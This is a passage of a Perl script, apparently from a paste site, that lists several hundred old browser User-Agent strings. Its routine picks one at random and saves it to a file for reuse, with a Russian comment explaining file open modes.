  1397.         "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17",
  1398.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17",
  1399.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17",
  1400.  
  1401.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1402.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1403.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1404.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1405.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1406.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1407.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1408.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1409.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1410.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1411.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1412.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1413.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1414.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1415.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1416.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1417.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1418.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1419.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1420.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1421.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1422.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1423.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1424.         "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",  
  1425.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1426.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1427.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1428.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8",  
  1429.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1430.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1431.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1432.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1433.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1434.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1435.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1436.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1437.         "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1438.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1439.  
  1440.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  1441.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
  1442.         "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1443.         "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1444.         "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)",
  1445.         "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)",
  1446.         "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
  1447.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)",
  1448.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)",
  1449.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)",
  1450.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)",
  1451.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)",
  1452.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
  1453.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
  1454.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)",
  1455.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0",
  1456.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)",
  1457.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0)",
  1458.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1459.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215)",
  1460.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)",
  1461.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205)",
  1462.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  1463.         "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1464.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1465.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)",
  1466.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)",
  1467.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)",
  1468.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1469.         "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)",
  1470.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)",
  1471.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
  1472.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)",
  1473.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)",
  1474.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)",
  1475.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)",
  1476.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  1477.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
  1478.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN)",
  1479.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224)",
  1480.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3)",
  1481.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)",
  1482.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8)",
  1483.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0)",
  1484.         "Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)",
  1485.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1486.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
  1487.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)",
  1488.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)",
  1489.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)",
  1490.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)",
  1491.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)",
  1492.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)",
  1493.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1494.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)",
  1495.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)",
  1496.         "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1497.         "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  1498.         "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)",
  1499.         "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)",
  1500.         "Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)",
  1501.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)",
  1502.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)",
  1503.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)",
  1504.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)",
  1505.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)",
  1506.         "Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB)",
  1507.         "Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)",
  1508.         "Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1509.         "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)",
  1510.         "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)",
  1511.         "Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)",
  1512.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)",
  1513.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3)",
  1514.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100)",
  1515.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  1516.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
  1517.         "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1518.         "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1519.         "Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)",
  1520.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt)",
  1521.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  1522.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6)",
  1523.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) (Compatible; ; ; Trident/4.0)",
  1524.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0)",
  1525.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322)",
  1526.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)",
  1527.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914)",
  1528.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0)",
  1529.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0)",
  1530.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)",
  1531.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  1532.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  1533.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705)",
  1534.         "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0)",
  1535.         "Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1536.         "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1537.         "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)",
  1538.         "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1539.         "Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1540.         "Mozilla/4.08 (compatible; MSIE 6.0; Windows NT 5.1)",
  1541.         "Mozilla/4.01 (compatible; MSIE 6.0; Windows NT 5.1)",
  1542.         "Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)",
  1543.         "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)",
  1544.         "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)",
  1545.         "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)",
  1546.         "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1547.         "Mozilla/4.0 (MSIE 6.0; Windows NT 5.1)",
  1548.         "Mozilla/4.0 (MSIE 6.0; Windows NT 5.0)",
  1549.         "Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461)",
  1550.         "Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1551.         "Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1552.         "Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1)",
  1553.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; Tablet PC 2.0)",
  1554.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 534; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  1555.         "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0)",
  1556.         "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0)",
  1557.         "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8)",
  1558.         "Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8)",
  1559.         "Mozilla/4.0 (compatible;MSIE 5.5; Windows 98)",
  1560.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1)",
  1561.         "Mozilla/4.0 (compatible; MSIE 5.5;)",
  1562.         "Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2)",
  1563.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5)",
  1564.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)",
  1565.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  1566.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)",
  1567.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)",
  1568.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5)",
  1569.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)",
  1570.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1571.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322)",
  1572.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1573.         "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
  1574.         );
  1575.  
  1576.         if (open(FILE, "<".$uafile)){
  1577.                 $ua = <FILE>;
  1578.                 close(FILE);
  1579.         }
  1580.         else {
  1581.         # ">" - запись,"<"- чтение, ">>"- добавление в файл.
  1582.                 if (open(FILE, ">".$uafile)){
  1583.                         my $i = int (rand(scalar @uaList));
  1584.  
  1585.                         print "getUA: len = ".(scalar @uaList)." i = $i\n";
  1586.                         $ua = $uaList[$i];
  1587.  
  1588.                         print "getUA: ua = $ua\n";
  1589.  
  1590.                         printf FILE $ua;
  1591.                         close FILE;
  1592.                 }
  1593.                 else {
  1594.                         print "Error working with ".$uafile."\n";
  1595.                         exit;
  1596.                 }
  1597.         }
  1598. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement